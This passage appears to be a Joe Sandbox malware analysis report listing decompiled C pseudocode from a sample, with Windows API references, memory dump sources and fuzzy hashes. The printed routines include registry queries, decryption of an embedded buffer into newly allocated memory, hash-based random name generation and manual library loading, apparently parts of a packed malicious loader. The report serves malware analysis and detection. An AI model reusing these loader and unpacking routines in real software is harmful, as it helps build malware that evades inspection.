							if(_t19 != 0) {
								continue;
							}
							goto L15;
						}
						L14:
						_t21 = _t21 + 1;
						_t19 =  *_t21;
					}
					L15:
					if(_t19 == 0x20 || _t19 == 9) {
						goto L14;
					}
				}
				if((_v56 & 0x00000001) == 0) {
					_t27 = 0xa;
				} else {
					_t27 = _v52 & 0x0000ffff;
				}
				 *_t34 = 0;
				_t17 = GetModuleHandleA(??);
				_push(_t25);
				_v116 = _t27;
				_v120 = _t21;
				_v124 = 0;
				 *_t34 = _t17; // executed
				_t18 = E004015A6(); // executed
				return _t18;
			}

0x0040216c
0x0040216c
0x00402173
0x0040217c
0x0040217f
0x00402189
0x0040218e
0x00402191
0x00402196
0x00402199
0x0040219c
0x0040219c
0x004021a0
0x00000000
0x00000000
0x004021a6
0x004021a6
0x004021ae
0x004021bf
0x004021b4
0x004021b5
0x004021b9
0x00402224
0x004021bb
0x004021bd
0x00402228
0x00000000
0x00000000
0x00000000
0x004021bd
0x00000000
0x004021b9
0x004021b0
0x004021cc
0x004021cc
0x004021cd
0x004021d1
0x00000000
0x00000000
0x004021ca
0x00000000
0x00000000
0x00000000
0x004021ca
0x004021d4
0x004021d4
0x004021d5
0x004021d5
0x004021d7
0x004021d9
0x00000000
0x00000000
0x004021d9
0x004021e3
0x0040221c
0x004021e5
0x004021e5
0x004021e5
0x004021e9
0x004021f0
0x004021f5
0x004021f6
0x004021fa
0x004021fe
0x00402206
0x00402209
0x0040221b

APIs

GetCommandLineA.KERNEL32 ref: 00402184
GetStartupInfoA.KERNEL32 ref: 00402191
GetModuleHandleA.KERNEL32 ref: 004021F0

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: CommandHandleInfoLineModuleStartup
String ID:
API String ID: 1628297973-0
Opcode ID: dea9fb60a0e8c7139b7ad21b8fadcfed2fa973cf111aefb73716ac7d3e57f3bb
Instruction ID: a58904cd742006e8efc07750f74eda1fc12795c36ac70e21e41bb3de5e0fdb65
Opcode Fuzzy Hash: dea9fb60a0e8c7139b7ad21b8fadcfed2fa973cf111aefb73716ac7d3e57f3bb
Instruction Fuzzy Hash: 15112B3580424499DF251BA98B8D3AABBA0AB17304F94417BDEE03F2C5D2FC0883D65F

Uniqueness

Uniqueness Score: -1.00%

Function 0400A400 Relevance: 4.6, APIs: 3, Instructions: 53
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0400A400(char* _a4, char* _a8, char* _a12, int _a16) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _t25;
				long _t27;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v12 = 0x80000002;
					}
					_v16 = 0;
					_t25 = RegOpenKeyExA(_v12, _a4, 0, 0xf003f,  &_v16); // executed
					if(_t25 == 0) {
						_v20 = _a16;
						_t27 = RegQueryValueExA(_v16, _a8, 0, 0, _a12,  &_v20); // executed
						if(_t27 == 0) {
							_v8 = _v20;
						}
						RegCloseKey(_v16); // executed
					}
				}
				return _v8;
			}

0x0400a406
0x0400a411
0x0400a429
0x0400a439
0x0400a43b
0x0400a43b
0x0400a442
0x0400a45c
0x0400a464
0x0400a469
0x0400a480
0x0400a488
0x0400a48d
0x0400a48d
0x0400a494
0x0400a494
0x0400a464
0x0400a4a0

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
RegCloseKey.KERNEL32(00000000), ref: 0400A494

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction ID: 715db8aa4ed00a9f1925e7802d1785fb3623660146ed6b0049a8ef53f9c2d8f0
Opcode Fuzzy Hash: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction Fuzzy Hash: 70110D74A00309EBEB15CF94C848BEF77B8FB84744F14C558E914AB680D7B8AA51CF51

Uniqueness

Uniqueness Score: -1.00%

Function 004019EF Relevance: 4.5, APIs: 3, Instructions: 47COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32 ref: 00401A7B

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: ProcWindow
String ID:
API String ID: 181713994-0
Opcode ID: dce17d3ab1834a14d6dd11c000d5e6f7c04496a4c416f1c2b268dd238bca021c
Instruction ID: 1be99baf301fddce28c76e53022f88f5968e2be15515bd70b970bf4d0b2c5684
Opcode Fuzzy Hash: dce17d3ab1834a14d6dd11c000d5e6f7c04496a4c416f1c2b268dd238bca021c
Instruction Fuzzy Hash: 66010C7070A2048BEB11AE6CC18536E76A5FB04744F10483BF886E73E1D2BCD9819F9B

Uniqueness

Uniqueness Score: -1.00%

Function 04008090 Relevance: 3.9, APIs: 3, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008090(intOrPtr _a4, long _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				int _v48;
				long _v52;
				void* _t71;
				intOrPtr _t73;
				void* _t91;
				void* _t93;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L13:
					return _v8;
				} else {
					_v16 = _a8;
					_t71 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
					_v12 = _t71;
					if(_v12 != 0) {
						_t73 = E04001390(_v12, _a4, _v16, _v12, _v16); // executed
						_v20 = _t73;
						if(_v20 != 0) {
							_v24 = _v12;
							_v28 = _v20;
							_v32 = E040087B0(_v20,  *_v24) & 0x0000ffff;
							if(_v32 == 0xa) {
								_v40 =  *((intOrPtr*)(_v24 + 4));
								_v44 =  *((intOrPtr*)(_v24 + 8));
								_v36 = E040016F0(_v24 + 0xc, _v28 - 0xc);
								if(_v36 == _v44) {
									E04008630(_v24 + 0xc, 4, _v40);
									_v48 =  *((intOrPtr*)(_v24 + 0xc));
									E04008630(_v24 + 0x10, _v48, _v40);
									_v52 = _v28 - _v48 + 0x10;
									_t52 = _v48 + 0x10; // 0x10
									_t91 = E04008A70(_v24 + _t52,  &_v52, _v24 + 0x10, _v48, 0x4013410, 0x254); // executed
									if(_t91 != 0) {
										_t93 = VirtualAlloc(0, _v52, 0x3000, 4); // executed
										 *_a12 = _t93;
										if( *_a12 != 0) {
											_t60 = _v48 + 0x10; // 0x10
											E04007B70( *_a12, _v24 + _t60, _v52);
											 *_a16 = _v52;
											_v8 = _v52;
										}
									}
								}
							}
						}
						if(_v8 == 0) {
							VirtualFree(_v12, 0, 0x8000); // executed
						}
					}
					goto L13;
				}
			}

0x04008096
0x040080a1
0x04008246
0x0400824c
0x040080c5
0x040080c8
0x040080d8
0x040080de
0x040080e5
0x040080fb
0x04008103
0x0400810a
0x04008113
0x04008119
0x0400812d
0x04008134
0x04008140
0x04008149
0x04008162
0x0400816b
0x0400817e
0x0400818c
0x0400819e
0x040081b1
0x040081d3
0x040081d8
0x040081e2
0x040081f1
0x040081fa
0x04008202
0x0400820e
0x04008219
0x04008227
0x0400822c
0x0400822c
0x04008202
0x040081e2
0x0400816b
0x04008134
0x04008233
0x04008240
0x04008240
0x04008233
0x00000000
0x040080e5

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04008240

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 040081F1

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$DecryptErrorFreeLastRelease
String ID:
API String ID: 142027497-0
Opcode ID: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction ID: 586cb0610e47de0410656fb7eac1ad2d30ffe64d38e300cd8a2e1f05076280ab
Opcode Fuzzy Hash: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction Fuzzy Hash: 3551E7B5E00209AFEB14DF98D984BEEB7B5BB48304F14C158E905BB381D774AA40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04005930 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E04005930(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v24;
				void _v52;
				intOrPtr _v56;
				signed int _v60;
				void* _t70;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0 && _a12 <= 0x10) {
					E04007B70( &_v24, _a4, 0x10);
					memcpy( &_v52, "abcdefghijklmnopqrstuvwxyz", 6 << 2);
					asm("movsw");
					asm("movsb");
					_v56 = 0;
					while(_v56 < _a12) {
						_v60 = (( *(_t70 + _v56 - 0x14) & 0x000000ff) + _v56 + 1) * (_v56 + 2) % 0x1a;
						_a8[_v56] =  *((intOrPtr*)(_t70 + _v60 - 0x30));
						if(_v56 == 0) {
							CharUpperA(_a8); // executed
						}
						_v8 = _v8 + 1;
						_v56 = _v56 + 1;
					}
				}
				return _v8;
			}

0x04005938
0x04005943
0x04005971
0x04005986
0x04005988
0x0400598a
0x0400598b
0x0400599d
0x040059c6
0x040059d6
0x040059dc
0x040059e2
0x040059e2
0x040059ee
0x0400599a
0x0400599a
0x0400599d
0x040059fb

APIs

CharUpperA.USER32(00000000), ref: 040059E2

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 0400597E

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CharUpper
String ID: abcdefghijklmnopqrstuvwxyz
API String ID: 9403516-1277644989
Opcode ID: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction ID: f69ee34caa0c5af81cf691572c0dafb25cbc9a5132ff2a0986e08936ddab1125
Opcode Fuzzy Hash: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction Fuzzy Hash: F7210C35A06108EBEF04CF98D984BDDB7B6FF85315F248569E804A7280D375AA45CF41

Uniqueness

Uniqueness Score: -1.00%

Function 04009400 Relevance: 3.1, APIs: 2, Instructions: 106
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009400(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v91;
				char _v92;
				char _v220;
				intOrPtr _t59;
				void* _t103;
				void* _t104;
				void* _t106;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_t56 = E04007B70( &_v28, _a4 + 0x45b, 0x10);
					_t104 = _t103 + 0xc;
					_v12 = _v28 ^ _v24 ^ _v20 ^ _v16;
					_v32 = 0;
					while(_v32 < _a12) {
						E04007D20(_t56,  &_v220, 0, 0x80);
						_t59 = E04008BB0( &_v12, 4,  &_v220, 0x80); // executed
						_t106 = _t104 + 0x1c;
						_v40 = _t59;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v220;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v220, _v40, _v32 * 0x1e + _a8, _v36);
						E04007D20( &_v92,  &_v92, 0, 0x32);
						_t104 = _t106 + 0x1c;
						lstrcpyA( &_v92, _v32 * 0x1e + _a8);
						_v91 = 0;
						CharUpperA( &_v92);
						 *((char*)(_a8 + _v32 * 0x1e)) = _v92;
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_t56 = _v32 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

0x04009409
0x04009414
0x0400943d
0x04009442
0x04009451
0x04009454
0x04009466
0x04009480
0x0400949a
0x0400949f
0x040094a2
0x040094a9
0x040094bf
0x040094ab
0x040094b1
0x040094b1
0x040094d1
0x040094ed
0x040094fd
0x04009502
0x04009513
0x04009519
0x04009521
0x04009533
0x0400953c
0x04009545
0x04009460
0x04009463
0x04009463
0x04009466
0x04009553

APIs

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcpyA.KERNEL32(?,00000000), ref: 04009513
CharUpperA.USER32(?), ref: 04009521

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CharCreateDataDestroyErrorLastReleaseUpperlstrcpy
String ID:
API String ID: 2710640451-0
Opcode ID: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction ID: bc5be7810042b5ebbd7ddf8470aca826c8a0736d185973949ab2100ea4ccd4f3
Opcode Fuzzy Hash: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction Fuzzy Hash: 564119B1D00208EBEB44DFD4C881BEEBBB5EF58308F10C15AD515BB281E774AA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 100021EA Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 100021F9
SetLastError.KERNEL32(0000007E), ref: 1000223B
SetLastError.KERNEL32(0000000E), ref: 1000228B

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: ErrorLast$HugeRead
String ID:
API String ID: 100728148-0
Opcode ID: bd318f91544f178069688045f5b296fb20421188c60a54711fd69487c4a0a276
Instruction ID: 133c763f371e93ed1e981491a31024dabb451d2fe405ffdb26697d1a1c2a5393
Opcode Fuzzy Hash: bd318f91544f178069688045f5b296fb20421188c60a54711fd69487c4a0a276
Instruction Fuzzy Hash: 3301C975A01149EFEB04DF94C985B9EBBB5EF48354F208298E909AB255C734EF40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04004BF0 Relevance: 3.0, APIs: 2, Instructions: 24memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(0000EA60,0000000A), ref: 04004C19
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C49
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C60
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C77
CoUninitialize.OLE32 ref: 040056F0

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: AllocVirtual$ObjectSingleUninitializeWait
String ID:
API String ID: 2825510553-0
Opcode ID: bc6364c936b53f26f180f3226d150eb2ede703b85b89f218812fac6098efaed8
Instruction ID: 4dcf0cb0894f78bb2b39d823a9071d5930a356be82481dd84034f624af791eb7
Opcode Fuzzy Hash: bc6364c936b53f26f180f3226d150eb2ede703b85b89f218812fac6098efaed8
Instruction Fuzzy Hash: 7BE06D31B04204AFE740DFA4D984AAEBBF0EF48325F148269D902F7281D274E890DF61

Uniqueness

Uniqueness Score: -1.00%

Function 0040126C Relevance: 3.0, APIs: 2, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E0040126C() {
				int _t4;
				intOrPtr* _t5;
				intOrPtr* _t8;

				 *_t8 = 1;
				__set_app_type(??);
				E00401000();
				_t5 = _t8;
				 *((intOrPtr*)(_t8 - 0x18)) = 2;
				__set_app_type(_t4); // executed
				E00401000(); // executed
				_push(_t5);
				goto __eax;
			}

0x00401272
0x00401279
0x0040127f
0x00401285
0x0040128a
0x00401291
0x00401297
0x0040129c
0x004012a8

APIs

__set_app_type.MSVCRT ref: 00401291
__set_app_type.MSVCRT ref: 00401279

Part of subcall function 00401000: SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0040129C), ref: 00401033
Part of subcall function 00401000: __getmainargs.MSVCRT ref: 00401070
Part of subcall function 00401000: __p__fmode.MSVCRT ref: 0040107E
Part of subcall function 00401000: __p__environ.MSVCRT ref: 00401098
Part of subcall function 00401000: _cexit.MSVCRT ref: 004010BB
Part of subcall function 00401000: ExitProcess.KERNEL32 ref: 004010C3
Part of subcall function 00401000: _setmode.MSVCRT ref: 004010DD
Part of subcall function 00401000: _setmode.MSVCRT ref: 004010F1
Part of subcall function 00401000: _setmode.MSVCRT ref: 00401105

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: _setmode$__set_app_type$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 2043081007-0
Opcode ID: 95079076a23dd48875e793aac924bfe356b74353773b9bec2b3be70d01421b75
Instruction ID: 7cda7d837e108511d0981a2c678aee1b3234257573440c6a0797aaf790408f0b
Opcode Fuzzy Hash: 95079076a23dd48875e793aac924bfe356b74353773b9bec2b3be70d01421b75
Instruction Fuzzy Hash: 2BD0123400820957C2003BB9DE0B70C7AEC5700346F81057CE4C5762A6DA7464554BEF

Uniqueness

Uniqueness Score: -1.00%

Function 040097A0 Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040097A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x040097b0
0x040097b7

APIs

GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction ID: 51615621b5a1f832d01dc3b7a4cc229a82638b6a1205cca077e68d01418531cd
Opcode Fuzzy Hash: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction Fuzzy Hash: 93C09B71144308ABE6449FD8E80DD95375DE748601F004111B70DD6141CB7CAD84C762

Uniqueness

Uniqueness Score: -1.00%

Function 10001D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f230ea85c0c82a46ce4fe9d3adae6cb5bbcd7638e6efd245ab957bab051541
Instruction ID: 8f4ecb97985d5e8621b4f5fb532634e6274162181c58748ea6569eeff33a15e4
Opcode Fuzzy Hash: d8f230ea85c0c82a46ce4fe9d3adae6cb5bbcd7638e6efd245ab957bab051541
Instruction Fuzzy Hash: D6418574A04109AFEB44CF44D494BEAB7B2FB88394F24C15AEC195B359D775EE82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 10001840 Relevance: 1.5, APIs: 1, Instructions: 15libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 10001848

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d16f793e14d30ae703a09ad83dbe3b7ccdd5b75166227a635d2c9c6bbfe82863
Instruction ID: e5a886dd6f7ca33b6e05a63634625ffd61cc9a463d586fd81315a615fd3f2724
Opcode Fuzzy Hash: d16f793e14d30ae703a09ad83dbe3b7ccdd5b75166227a635d2c9c6bbfe82863
Instruction Fuzzy Hash: EBD09274A0620CEBDB10DBA9D948A8EB7FDEB08291F108598E90997204DA31AF409B90

Uniqueness

Uniqueness Score: -1.00%

Function 00401284 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00401291

Part of subcall function 00401000: SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0040129C), ref: 00401033
Part of subcall function 00401000: __getmainargs.MSVCRT ref: 00401070
Part of subcall function 00401000: __p__fmode.MSVCRT ref: 0040107E
Part of subcall function 00401000: __p__environ.MSVCRT ref: 00401098
Part of subcall function 00401000: _cexit.MSVCRT ref: 004010BB
Part of subcall function 00401000: ExitProcess.KERNEL32 ref: 004010C3
Part of subcall function 00401000: _setmode.MSVCRT ref: 004010DD
Part of subcall function 00401000: _setmode.MSVCRT ref: 004010F1
Part of subcall function 00401000: _setmode.MSVCRT ref: 00401105

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode__set_app_type_cexit
String ID:
API String ID: 250851222-0
Opcode ID: abc5d16dfd36cc051d66f1b0a71e802486b709e19d00ad8df8ac84728067cb69
Instruction ID: 96c7857dd54b44c3e5074d738f37285bc9a5d07ca86cb9ffb3dbd1875c70a5b8
Opcode Fuzzy Hash: abc5d16dfd36cc051d66f1b0a71e802486b709e19d00ad8df8ac84728067cb69
Instruction Fuzzy Hash: 48C0123400820957C1007B79AE0B6087AEC5700305F81057CE48566296D974A41547EB

Uniqueness

Uniqueness Score: -1.00%

Function 100019F0 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,10001A51,00003000,00000004,000000BE,?,10001A51,?), ref: 10001A01

Memory Dump Source

